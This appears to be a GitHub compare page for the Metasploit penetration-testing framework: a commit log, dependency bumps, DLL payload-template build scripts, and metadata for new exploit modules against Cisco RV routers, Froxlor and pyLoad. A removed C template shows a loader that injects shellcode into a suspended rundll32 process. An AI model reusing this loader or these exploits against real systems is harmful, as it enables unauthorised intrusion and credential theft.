Compare commits

...

102 Commits

Author SHA1 Message Date
adfoster-r7 d21f6a10a2 Land #17690, Update inspect ticket tests to use the local timezone 2023-02-23 16:02:55 +00:00
dwelch-r7 6c5c158607 Land #17691, Fix module spec test failing on local machine 2023-02-23 14:52:05 +00:00
Dean Welch 8a37cc6c88 Update inspect ticket tests to use the local timezone 2023-02-23 14:39:19 +00:00
adfoster-r7 b2cc84228f Fix module spec test failing on local machine 2023-02-23 14:27:44 +00:00
Dean Welch 65c11bd8c8 Update inspect ticket tests to use the local timezone 2023-02-23 13:37:16 +00:00
Dean Welch fd5d10e610 Update inspect ticket tests to use the local timezone 2023-02-23 12:43:43 +00:00
adfoster-r7 2de3142cde Land #17685, Fixed Broken Link for Metasploit Goliath in GSOC'23 page 2023-02-23 00:43:34 +00:00
samsepi0x0 b3f30f00a7 Update GSoC-2023-Project-Ideas.md 2023-02-23 05:13:27 +05:30
samsepi0x0 b38d51edca Update GSoC-2023-Project-Ideas.md 2023-02-23 02:19:40 +05:30
samsepi0x0 6b36463086 Fixed Broken Link for Metasploit Goliath. 2023-02-23 01:34:16 +05:30
Metasploit c0042ab0d2 automatic module_metadata_base.json update 2023-02-22 12:26:24 -06:00
space-r7 9621f77bac Land #17640, add Froxlor RCE 2023-02-22 12:11:38 -06:00
Jack Heysel bf7884b2dc Removed need to auth twice when AutoCheck enabled 2023-02-22 12:28:28 -05:00
Jack Heysel f6ec3855b3 Removed space at EOL 2023-02-22 00:35:42 -05:00
Jack Heysel 0c8df1a67b Updated docs and module suggetsions 2023-02-22 00:33:40 -05:00
jheysel-r7 42146fc4ec Update modules/exploits/linux/http/froxlor_log_path_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-02-21 23:02:49 -05:00
jheysel-r7 80cec400bf Update modules/exploits/linux/http/froxlor_log_path_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-02-21 22:59:23 -05:00
jheysel-r7 fc5f4983f6 Update modules/exploits/linux/http/froxlor_log_path_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-02-21 22:58:49 -05:00
jheysel-r7 647418745f Update modules/exploits/linux/http/froxlor_log_path_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-02-21 22:58:41 -05:00
Metasploit e1e39ad5bc automatic module_metadata_base.json update 2023-02-21 15:44:56 -06:00
Jack Heysel e625e2e474 Land #17652, module for pyload js2py exploit
This adds an exploit for CVE-2023-0297 which is unauthenticated
Javascript injection in pyLoads Click N Load service.
2023-02-21 16:27:04 -05:00
cgranleese-r7 31a5125d78 Land #17674, Update basic discovery script database connection 2023-02-20 11:44:36 +00:00
adfoster-r7 5314d21e59 Update basic discovery script database connection 2023-02-20 09:42:59 +00:00
adfoster-r7 db290369a4 Land #17650, Fix #17602 - Update basic_discovery.rc to support commas in RHOST values 2023-02-20 09:41:08 +00:00
Grant Willcox 066d0a6f7e Land #17663, fixing case insensitive issue for show options #17459 2023-02-18 13:26:47 -06:00
manishkumarr1017 c553f80cd9 fixing case insensitive issue for show options #17459 2023-02-18 05:51:46 +00:00
Metasploit 9cf2bbf352 automatic module_metadata_base.json update 2023-02-17 12:36:29 -06:00
Spencer McIntyre c6e9c8e3db Land #17660, Move temp storage of reg hives
Move temp storage of reg hives to %TEMP%
2023-02-17 13:12:29 -05:00
cgranleese-r7 292c160abf Land #17637, Add module information to docs site 2023-02-17 14:32:10 +00:00
Jonas Vestberg c610949a5a Move temp storage of reg hives to %TEMP% 2023-02-16 20:13:31 +01:00
Jack Heysel 44c393e2f1 Fixed netcat session cleanup 2023-02-16 13:14:24 -05:00
Metasploit 71cecfb1d4 Bump version of framework to 6.3.4 2023-02-16 12:12:20 -06:00
Jack Heysel 1c49b002d2 Changed get_csrf to use xpath 2023-02-16 10:47:04 -05:00
Jack Heysel 00d1637f3d Changed check method to use xpath 2023-02-16 10:33:15 -05:00
Grant Willcox e7da4c4612 Land #17594, Add larger DLL templates 2023-02-15 19:35:37 -06:00
samsepi0x0 12c739b881 Update basic_discovery.rc 2023-02-16 03:53:21 +05:30
Metasploit 5a2ab6edd4 automatic module_metadata_base.json update 2023-02-15 15:32:23 -06:00
Spencer McIntyre ecd5ad29a7 Add module docs 2023-02-15 16:29:42 -05:00
Grant Willcox a8d2073eee Land #17646, Link Hadoop YARN exploit to documentation 2023-02-15 15:09:05 -06:00
samsepi0x0 86e8f5c484 Correctly parsed before the scan. 2023-02-15 14:47:24 -06:00
Arnout Engelen 5d8b1dc4a6 Link Hadoop YARN exploit to documentation
This exploit scans for misconfigured installations, link to the documentation
that describes how to properly secure it.
2023-02-15 21:17:26 +01:00
Spencer McIntyre 557042c91c Initial exploit is working 2023-02-15 14:18:25 -05:00
Grant Willcox b89602bb7b Land #17645, Fix bootup git warnings on arch 2023-02-15 11:49:57 -06:00
Spencer McIntyre 301d25ddfa Raise more explicit errors for invalid arguments 2023-02-15 09:07:01 -05:00
adfoster-r7 a98368cfc5 Fix bootup git warnings on arch 2023-02-15 11:18:02 +00:00
Spencer McIntyre 5725dd2ded Fix an off by one size error 2023-02-14 18:01:14 -05:00
Metasploit 165b0f8d61 automatic module_metadata_base.json update 2023-02-14 16:23:51 -06:00
Spencer McIntyre ac9d60ce9e Land #17281, Added module for CVE-2022-2992
Added module for CVE-2022-2992 - Gitlab Remote Command Execution via Github import
2023-02-14 16:57:29 -05:00
Spencer McIntyre 5d254cc36b Land heyder#2, Refactor namespaces 2023-02-14 16:44:29 -05:00
space-r7 78ae5f49ce add gitlab prefix back to methods 2023-02-14 15:26:01 -06:00
space-r7 304b90ecc8 split mixins between forms and v4 api used 2023-02-14 12:37:43 -06:00
Jack Heysel 8aed02de3d Linting 2023-02-14 10:39:47 -05:00
adfoster-r7 bf57918454 Add module information to docs site 2023-02-14 13:10:03 +00:00
Jack Heysel ff159c8760 Updated TODO 2023-02-13 20:24:32 -05:00
Jack Heysel ca0b1ffe05 Documentation fixes 2023-02-13 19:56:23 -05:00
Jack Heysel 2e195b2742 Initial commit Froxlor RCE 2023-02-13 19:39:18 -05:00
Metasploit 0e86cfa6c7 automatic module_metadata_base.json update 2023-02-13 18:13:40 -06:00
Grant Willcox d012145726 Land #17599, Cisco RV LAN Exploit - CVE-2022-20705 and CVE-2022-20707 2023-02-13 17:50:06 -06:00
Stephen Wildow 96fecb6048 Modified BadChars and FailWith codes 2023-02-13 17:49:09 -05:00
Grant Willcox 45e453d687 Fix up remaining review comments 2023-02-13 15:07:25 -06:00
space-r7 9605b4bb91 Merge branch 'heyder-pr-1' into heyder-cve-2022-2992 2023-02-13 14:59:45 -06:00
Spencer McIntyre c3fa924cfa Remove the NGROK_URL option 2023-02-13 14:31:44 -05:00
Spencer McIntyre 210b7a3254 Use #get_json_document instead of JSON.parse
Also fix typos
2023-02-13 14:00:13 -05:00
Stephen Wildow 79b1801a4f Rewrote check method to only abuse authentication bypass. Added additional status checks. 2023-02-11 17:43:33 -05:00
Stephen Wildow 036ed7f467 Removed /etc/password. Modified check code and fail_with. Added proper checking for non-vulnerable versions of firmware. 2023-02-09 21:55:40 -05:00
Metasploit 86fc617259 automatic module_metadata_base.json update 2023-02-09 17:53:04 -06:00
Grant Willcox 0cf7dd850f Land #17626, Fix Frycos author name in fortra_goanywhere_rce_cve_2023_0669.rb 2023-02-09 17:38:34 -06:00
Frycos e963582e18 Update fortra_goanywhere_rce_cve_2023_0669.rb
Name typo
2023-02-09 23:06:59 +01:00
Grant Willcox f2a86327d0 Minor fixes from review 2023-02-09 15:34:25 -06:00
Metasploit 6343fc8f7c automatic module_metadata_base.json update 2023-02-09 14:27:19 -06:00
Spencer McIntyre fd6cd82f30 Upgrade DLL template size automatically 2023-02-09 15:09:50 -05:00
Spencer McIntyre 025ba6775d Add a README file with some basic information 2023-02-09 15:09:50 -05:00
Spencer McIntyre 126e3a9c9a Add larger 256KiB DLL templates 2023-02-09 15:09:50 -05:00
Spencer McIntyre 2608852d8c Consolidate gdiplus build code
This references the main dll/template.c code as the mixed-mode variant
already does. This will make future changes easier as we won't need to
copy them from the main to this one.

See https://github.com/rapid7/metasploit-framework/pull/8509 for the
origin of these files.
2023-02-09 15:09:50 -05:00
Grant Willcox aa9b3df6b3 Land #17625, Add credit for CVE-2023-0669; fix path in docs 2023-02-09 14:02:52 -06:00
Metasploit e420dc123d Bump version of framework to 6.3.3 2023-02-09 12:10:37 -06:00
Spencer McIntyre c7279e9a0a Add credit for CVE-2023-0669; fix path in docs 2023-02-09 13:02:40 -05:00
Stephen Wildow 4b05ba6189 Update description and vulnerability listings. Cleaned up references. More randomization. Removed first unnecessary request in exploit portion of code. Added rescue section around json grabbing. 2023-02-08 21:26:18 -05:00
Stephen Wildow 427c181e9a Utilized msftidy_docs.rb to clean up missing sections, excessively long lines, spaces at EOL, and space end of file. Removed credit section. Expanded on installation procedure. Modified steps procedure to include Verify options and removed failure status. Removed Targets section. Scenarios have device, target, and architecture. 2023-02-08 19:18:14 -05:00
Jack Heysel 19bcf8be7f Working hardcoded payload 2023-02-08 18:14:11 -05:00
Stephen Wildow 35749a000a Added docs. Performed code linting with rubocop. 2023-02-07 20:27:07 -05:00
Stephen Wildow 475813eb33 Properly labing ZDI vulnerability 2023-02-05 21:48:48 -05:00
Stephen Wildow 59332da8ce Randomized hard coded strings, modified cmd string, and updated references 2023-02-05 21:42:57 -05:00
Stephen Wildow ac9caa8894 Removed unnecessary CVE listing 2023-02-05 14:32:04 -05:00
Stephen Wildow 7cff3cc2b0 Updated to include vulnerable versions of software 2023-02-05 13:20:52 -05:00
Stephen Wildow 4b3125d14b Add module to exploit Cisco RV34x Small Business Routers 2023-02-05 10:15:16 -05:00
Heyder Andrade cf6d5d3a14 It made the gadgets being used more readable 2022-12-06 17:47:49 +01:00
Heyder Andrade 8aca86b816 Apply suggestions from code review 2022-12-04 17:29:05 +01:00
Heyder Andrade 5c3ac339d0 Apply suggestions from code review
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2022-12-04 12:13:50 +01:00
Heyder Andrade 704cee436b Apply suggestions from code review 2022-11-29 15:25:14 +01:00
Heyder Andrade c1236500f1 Apply suggestions from code review
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-11-29 14:12:39 +01:00
Heyder Andrade ff63f0aa32 Added reference 2022-11-28 14:11:07 +01:00
Heyder Andrade 27f8f4fc47 Cleanup 2022-11-23 01:55:06 +01:00
Heyder Andrade 7880530989 The check method should report when finding a vulnerable product.
I think all exploit modules should "report" in the check method when finding a vulnerable
product. By doing that we can take advantage of all check methods in the exploit module
and use them as a "scanner". That would give the chance for the user to check multiple
simultaneously targets and save the result for further actions.
2022-11-23 01:29:38 +01:00
Heyder Andrade 0e5f8d49f9 Code cleanup and payload generation improvements 2022-11-23 00:29:10 +01:00
Heyder Andrade 13a3d9d1ca Added documentation 2022-11-23 00:19:25 +01:00
Heyder Andrade 7983c14166 Removed a bunch of hard-coded stuff and cleaned out fake smart server 2022-11-22 12:07:55 +01:00
Heyder Andrade 3d73f574d4 Impreve error handling 2022-11-20 12:10:04 +01:00
Heyder Andrade a05cbdbc30 Impreve error handling 2022-11-20 12:09:05 +01:00
Heyder Andrade c9eaa9af37 Added module for #CVE-2022-2992 2022-11-19 15:21:31 +01:00
Heyder Andrade 34d191b06c Added Ruby serialized payload generator 2022-11-19 15:20:49 +01:00
Heyder Andrade f1b97de78d Added Gitlab mixin 2022-11-19 15:19:29 +01:00
72 changed files with 2637 additions and 338 deletions
+1 -1
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.3.2)
metasploit-framework (6.3.4)
actionpack (~> 7.0)
activerecord (~> 7.0)
activesupport (~> 7.0)
+8 -8
View File
@@ -10,16 +10,16 @@ afm, 0.2.2, MIT
arel-helpers, 2.14.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.2.0, "Apache 2.0"
aws-partitions, 1.701.0, "Apache 2.0"
aws-partitions, 1.707.0, "Apache 2.0"
aws-sdk-core, 3.170.0, "Apache 2.0"
aws-sdk-ec2, 1.362.0, "Apache 2.0"
aws-sdk-iam, 1.74.0, "Apache 2.0"
aws-sdk-ec2, 1.364.0, "Apache 2.0"
aws-sdk-iam, 1.75.0, "Apache 2.0"
aws-sdk-kms, 1.62.0, "Apache 2.0"
aws-sdk-s3, 1.119.0, "Apache 2.0"
aws-sigv4, 1.5.2, "Apache 2.0"
bcrypt, 3.1.18, MIT
bcrypt_pbkdf, 1.1.0, MIT
bindata, 2.4.14, ruby
bindata, 2.4.15, "Simplified BSD"
bson, 4.15.0, "Apache 2.0"
builder, 3.2.4, MIT
bundler, 2.1.4, MIT
@@ -41,7 +41,7 @@ erubi, 1.12.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.2.1, MIT
factory_bot_rails, 6.2.0, MIT
faker, 3.1.0, MIT
faker, 3.1.1, MIT
faraday, 2.7.4, MIT
faraday-net_http, 3.0.2, MIT
faraday-retry, 2.0.0, MIT
@@ -70,7 +70,7 @@ memory_profiler, 1.0.1, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.1, "New BSD"
metasploit-credential, 6.0.2, "New BSD"
metasploit-framework, 6.3.2, "New BSD"
metasploit-framework, 6.3.4, "New BSD"
metasploit-model, 5.0.1, "New BSD"
metasploit-payloads, 2.0.108, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.2, "New BSD"
@@ -135,7 +135,7 @@ rex-powershell, 0.1.97, "New BSD"
rex-random_identifier, 0.1.10, "New BSD"
rex-registry, 0.1.4, "New BSD"
rex-rop_builder, 0.1.4, "New BSD"
rex-socket, 0.1.46, "New BSD"
rex-socket, 0.1.47, "New BSD"
rex-sslscan, 0.1.9, "New BSD"
rex-struct2, 0.1.3, "New BSD"
rex-text, 0.2.49, "New BSD"
@@ -143,7 +143,7 @@ rex-zip, 0.1.4, "New BSD"
rexml, 3.2.5, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.12.0, MIT
rspec-core, 3.12.0, MIT
rspec-core, 3.12.1, MIT
rspec-expectations, 3.12.2, MIT
rspec-mocks, 3.12.3, MIT
rspec-rails, 6.0.1, MIT
+10
View File
@@ -0,0 +1,10 @@
# PE Source Code
This directory contains the source code for the PE executable templates.
## Building DLLs
Use the provided `build_dlls.bat` file, and run it from within the Visual Studio
developer console. The batch file requires that the `%VCINSTALLDIR%` environment
variable be defined (which it should be by default). The build script will
create both the x86 and x64 templates before moving them into the correct
folder. The current working directory when the build is run must be the source
code directory (`pe`).
+7
View File
@@ -0,0 +1,7 @@
@echo off
for /D %%d in (dll*) do (
pushd "%%d"
build.bat
popd
)
+4 -3
View File
@@ -3,12 +3,13 @@
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib /entry:DllMain /subsystem:WINDOWS
rc /v template.rc
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 template.c /Fe:template_%1_windows.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS
%COMSPEC% /c "%0" x86
%COMSPEC% /c "%0" x64
del *.obj
del *.obj *.res
move *.dll ..\..\..
+2 -1
View File
@@ -1,5 +1,6 @@
#ifndef SCSIZE
#define SCSIZE 4096
#endif
unsigned char code[SCSIZE] = "PAYLOAD:";
char szSyncNameS[MAX_PATH] = "Local\\Semaphore:Default\0";
char szSyncNameE[MAX_PATH] = "Local\\Event:Default\0";
@@ -0,0 +1,15 @@
@echo off
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
rc /v /fo template.res ../dll/template.rc
cl /LD /GS- /DBUILDMODE=2 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS
%COMSPEC% /c "%0" x86
%COMSPEC% /c "%0" x64
del *.exp *.lib *.res *.obj
move *.dll ..\..\..
@@ -1,24 +0,0 @@
#
# XXX: NOTE: this will only compile the x86 version.
#
# To compile the x64 version, use:
# C:\> call "c:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\vcvarsall.bat" amd64
# C:\> cl.exe -LD /Zl /GS- /DBUILDMODE=2 /link /entry:DllMain kernel32.lib
#
if [ -z "$PREFIX" ]; then
PREFIX=i686-w64-mingw32
fi
rm -f *.o *.dll
$PREFIX-gcc -c template.c
$PREFIX-windres -o rc.o template.rc
$PREFIX-gcc -mdll -o junk.tmp -Wl,--base-file,base.tmp template.o rc.o
rm -f junk.tmp
$PREFIX-dlltool --dllname template_x86_windows.dll --base-file base.tmp --output-exp temp.exp #--def template.def
rm -f base.tmp
$PREFIX-gcc -mdll -o template_x86_windows.dll template.o rc.o -Wl,temp.exp
rm -f temp.exp
$PREFIX-strip template_x86_windows.dll
rm -f *.o
@@ -1,6 +1,3 @@
#define SCSIZE 2048
unsigned char code[SCSIZE] = "PAYLOAD:";
#ifdef _MSC_VER
#pragma comment (linker, "/export:GdipAlloc=c:/windows/system32/gdiplus.GdipAlloc,@34")
#pragma comment (linker, "/export:GdipCloneBrush=c:/windows/system32/gdiplus.GdipCloneBrush,@46")
@@ -1,97 +0,0 @@
#include <windows.h>
#include "template.h"
/* hand-rolled bzero allows us to avoid including ms vc runtime */
void inline_bzero(void *p, size_t l)
{
BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; x < l; x++)
*(q++) = 0x00;
}
void ExecutePayload(void);
BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
ExecutePayload();
break;
case DLL_PROCESS_DETACH:
// Code to run when the DLL is freed
break;
case DLL_THREAD_ATTACH:
// Code to run when a thread is created during the DLL's lifetime
break;
case DLL_THREAD_DETACH:
// Code to run when a thread ends normally.
break;
}
return TRUE;
}
void ExecutePayload(void) {
int error;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT ctx;
DWORD prot;
LPVOID ep;
// Start up the payload in a new process
inline_bzero( &si, sizeof( si ));
si.cb = sizeof(si);
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
// ExitProcess(0);
ExitThread(0);
}
/*
typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
PVOID DllHandle,
ULONG Reason,
PVOID Reserved
);
VOID NTAPI TlsCallback(
IN PVOID DllHandle,
IN ULONG Reason,
IN PVOID Reserved)
{
__asm ( "int3" );
}
ULONG _tls_index;
PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL };
IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 };
*/
@@ -1,3 +0,0 @@
EXPORTS
DllMain@12
@@ -1,18 +0,0 @@
LANGUAGE 9, 1
VS_VERSION_INFO VERSIONINFO
FILEVERSION 0,0,0,1
PRODUCTVERSION 0,0,0,1
FILEFLAGSMASK 0x17L
FILEFLAGS 0x0L
FILEOS 0x4L
FILETYPE 0x2L
FILESUBTYPE 0x0L
BEGIN
END
#define RT_HTML 23
@@ -4,6 +4,7 @@ if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 template.cpp /Fe:template_%1_windows_mixed_mode.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 /DSCSIZE=262144 template.cpp /Fe:template_%1_windows_mixed_mode.256kib.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+266 -8
View File
@@ -22379,7 +22379,7 @@
"Alberto Solino",
"Christophe De La Fuente"
],
"description": "Dumps SAM hashes and LSA secrets (including cached creds) from the\n remote Windows target without executing any agent locally. First, it\n reads as much data as possible from the registry and then save the\n hives locally on the target (%SYSTEMROOT%\\random.tmp). Finally, it\n downloads the temporary hive files and reads the rest of the data\n from it. This temporary files are removed when it's done.\n\n On domain controllers, secrets from Active Directory is extracted\n using [MS-DRDS] DRSGetNCChanges(), replicating the attributes we need\n to get SIDs, NTLM hashes, groups, password history, Kerberos keys and\n other interesting data. Note that the actual `NTDS.dit` file is not\n downloaded. Instead, the Directory Replication Service directly asks\n Active Directory through RPC requests.\n\n This modules takes care of starting or enabling the Remote Registry\n service if needed. It will restore the service to its original state\n when it's done.\n\n This is a port of the great Impacket `secretsdump.py` code written by\n Alberto Solino.",
"description": "Dumps SAM hashes and LSA secrets (including cached creds) from the\n remote Windows target without executing any agent locally. First, it\n reads as much data as possible from the registry and then save the\n hives locally on the target (%SYSTEMROOT%\\Temp\\random.tmp). Finally, it\n downloads the temporary hive files and reads the rest of the data\n from it. This temporary files are removed when it's done.\n\n On domain controllers, secrets from Active Directory is extracted\n using [MS-DRDS] DRSGetNCChanges(), replicating the attributes we need\n to get SIDs, NTLM hashes, groups, password history, Kerberos keys and\n other interesting data. Note that the actual `NTDS.dit` file is not\n downloaded. Instead, the Directory Replication Service directly asks\n Active Directory through RPC requests.\n\n This modules takes care of starting or enabling the Remote Registry\n service if needed. It will restore the service to its original state\n when it's done.\n\n This is a port of the great Impacket `secretsdump.py` code written by\n Alberto Solino.",
"references": [
"URL-https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py"
],
@@ -22395,7 +22395,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2022-12-07 23:03:57 +0000",
"mod_time": "2023-02-16 20:13:31 +0000",
"path": "/modules/auxiliary/gather/windows_secrets_dump.rb",
"is_install_path": true,
"ref_name": "gather/windows_secrets_dump",
@@ -60518,6 +60518,71 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/cisco_rv340_lan": {
"name": "Cisco RV Series Authentication Bypass and Command Injection",
"fullname": "exploit/linux/http/cisco_rv340_lan",
"aliases": [
],
"rank": 600,
"disclosure_date": "2021-11-02",
"type": "exploit",
"author": [
"Biem Pham",
"Neterum",
"jbaines-r7"
],
"description": "This module exploits two vulnerabilities, a session ID directory traversal authentication\n bypass (CVE-2022-20705) and a command injection vulnerability (CVE-2022-20707), on Cisco RV160, RV260, RV340,\n and RV345 Small Business Routers, allowing attackers to execute arbitrary commands with www-data user privileges.\n This access can then be used to pivot to other parts of the network. This module works on firmware\n versions 1.0.03.24 and below.",
"references": [
"CVE-2022-20705",
"CVE-2022-20707",
"ZDI-22-410",
"ZDI-22-411"
],
"platform": "Linux,Unix",
"arch": "cmd, armle",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix Command",
"Linux Dropper"
],
"mod_time": "2023-02-13 17:49:09 +0000",
"path": "/modules/exploits/linux/http/cisco_rv340_lan.rb",
"is_install_path": true,
"ref_name": "linux/http/cisco_rv340_lan",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_linux/http/cisco_rv_series_authbypass_and_rce": {
"name": "Cisco Small Business RV Series Authentication Bypass and Command Injection",
"fullname": "exploit/linux/http/cisco_rv_series_authbypass_and_rce",
@@ -63216,6 +63281,68 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/froxlor_log_path_rce": {
"name": "Froxlor Log Path RCE",
"fullname": "exploit/linux/http/froxlor_log_path_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2023-01-29",
"type": "exploit",
"author": [
"Askar",
"jheysel-r7"
],
"description": "Froxlor v2.0.6 and below suffer from a bug that allows authenticated users to change the application logs path\n to any directory on the OS level which the user www-data can write without restrictions from the backend which\n leads to writing a malicious Twig template that the application will render. That will lead to achieving a\n remote command execution under the user www-data.",
"references": [
"URL-https://shells.systems/author/askar/",
"CVE-2023-0315"
],
"platform": "Linux",
"arch": "cmd",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Linux ",
"Unix Command"
],
"mod_time": "2023-02-22 12:28:28 +0000",
"path": "/modules/exploits/linux/http/froxlor_log_path_rce.rb",
"is_install_path": true,
"ref_name": "linux/http/froxlor_log_path_rce",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/geutebruck_cmdinject_cve_2021_335xx": {
"name": "Geutebruck Multiple Remote Command Execution",
"fullname": "exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx",
@@ -64001,10 +64128,11 @@
"cbmixx",
"Green-m <greenm.xxoo@gmail.com>"
],
"description": "This module uses built-in functionality to execute arbitrary commands on an unsecured Hadoop server which is not configured for strong\n authentication, via Hadoop's standard ResourceManager REST API.",
"description": "This module uses Hadoop's standard ResourceManager REST API to execute arbitrary commands on an unsecured Hadoop server.\n Hadoop administrators should enable Kerberos authentication for these endpoints by changing the 'hadoop.security.authentication' setting in 'core-site.xml' from 'simple' (the default) to 'kerberos' before exposing the node to the network.",
"references": [
"URL-http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf",
"URL-https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn"
"URL-https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn",
"URL-https://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html"
],
"platform": "Linux",
"arch": "x86, x64",
@@ -64027,7 +64155,7 @@
"targets": [
"Automatic"
],
"mod_time": "2020-11-16 11:31:59 +0000",
"mod_time": "2023-02-15 12:37:06 +0000",
"path": "/modules/exploits/linux/http/hadoop_unauth_exec.rb",
"is_install_path": true,
"ref_name": "linux/http/hadoop_unauth_exec",
@@ -68583,6 +68711,71 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/pyload_js2py_exec": {
"name": "pyLoad js2py Python Execution",
"fullname": "exploit/linux/http/pyload_js2py_exec",
"aliases": [
],
"rank": 600,
"disclosure_date": "2023-01-13",
"type": "exploit",
"author": [
"Spencer McIntyre",
"bAu"
],
"description": "pyLoad versions prior to 0.5.0b3.dev31 are vulnerable to Python code injection due to the pyimport\n functionality exposed through the js2py library. An unauthenticated attacker can issue a crafted POST request\n to the flash/addcrypted2 endpoint to leverage this for code execution. pyLoad by default runs two services,\n the primary of which is on port 8000 and can not be used by external hosts. A secondary \"Click 'N' Load\"\n service runs on port 9666 and can be used remotely without authentication.",
"references": [
"CVE-2023-0297",
"URL-https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/",
"URL-https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad",
"URL-https://github.com/pyload/pyload/commit/7d73ba7919e594d783b3411d7ddb87885aea782d"
],
"platform": "Linux,Python,Unix",
"arch": "cmd, x86, x64, python",
"rport": 9666,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix Command",
"Linux Dropper",
"Python"
],
"mod_time": "2023-02-15 16:29:42 +0000",
"path": "/modules/exploits/linux/http/pyload_js2py_exec.rb",
"is_install_path": true,
"ref_name": "linux/http/pyload_js2py_exec",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": null
},
